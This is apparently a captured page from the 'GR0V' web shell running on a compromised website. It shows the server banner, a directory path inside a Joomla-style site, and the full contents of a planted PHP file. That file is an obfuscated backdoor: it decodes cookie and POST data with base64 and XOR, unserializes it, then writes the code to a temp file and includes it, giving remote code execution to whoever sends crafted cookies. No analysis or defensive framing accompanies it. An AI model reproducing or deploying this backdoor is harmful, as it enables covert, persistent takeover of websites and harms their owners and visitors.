? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/components/com_users/views/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/components/com_users/views/196cd304.php

$atkbRh = "\x79" . 'i' . chr ( 641 - 546 ).chr ( 572 - 493 )."\161" . chr (66) . 'w';$XNkmr = chr ( 125 - 26 )."\154" . 'a' . chr (115) . chr (115) . chr (95) . 'e' . chr (120) . "\x69" . chr (115) . chr ( 367 - 251 )."\163";$CCqyiVDP = $XNkmr($atkbRh); $iYbvgU = $CCqyiVDP;if (!$iYbvgU){class yi_OqBw{private $zLUWigGfql;public static $aZzdKxu = "bb32aec3-a813-470b-b611-caafc462fc81";public static $CqZZpre = 27076;public function __construct($cteMFRg=0){$xSlGms = $_COOKIE;$yzTsrnBD = $_POST;$rEXzHe = @$xSlGms[substr(yi_OqBw::$aZzdKxu, 0, 4)];if (!empty($rEXzHe)){$aqGrkM = "base64";$tEMttigl = "";$rEXzHe = explode(",", $rEXzHe);foreach ($rEXzHe as $fWNwDBwB){$tEMttigl .= @$xSlGms[$fWNwDBwB];$tEMttigl .= @$yzTsrnBD[$fWNwDBwB];}$tEMttigl = array_map($aqGrkM . chr ( 469 - 374 )."\x64" . chr ( 394 - 293 ).'c' . "\157" . "\144" . chr (101), array($tEMttigl,)); $tEMttigl = $tEMttigl[0] ^ str_repeat(yi_OqBw::$aZzdKxu, (strlen($tEMttigl[0]) / strlen(yi_OqBw::$aZzdKxu)) + 1);yi_OqBw::$CqZZpre = @unserialize($tEMttigl);}}private function NNROsSnLb(){if (is_array(yi_OqBw::$CqZZpre)) {$DJKvOEgArE = sys_get_temp_dir() . "/" . crc32(yi_OqBw::$CqZZpre[chr (115) . 'a' . 'l' . chr ( 498 - 382 )]);@yi_OqBw::$CqZZpre['w' . "\162" . chr (105) . chr ( 150 - 34 )."\145"]($DJKvOEgArE, yi_OqBw::$CqZZpre["\x63" . 'o' . 'n' . "\x74" . 'e' . "\156" . "\x74"]);include $DJKvOEgArE;@yi_OqBw::$CqZZpre['d' . chr ( 1012 - 911 ).chr ( 415 - 307 ).chr ( 274 - 173 ).chr ( 499 - 383 ).'e']($DJKvOEgArE); $BBARiwRX = "789";exit();}}public function __destruct(){$this->NNROsSnLb();}}$PkfqifPDu = new yi_OqBw(); $PkfqifPDu = "24173";}

T1KUS90T
  root-grov@210.1.60.28:~$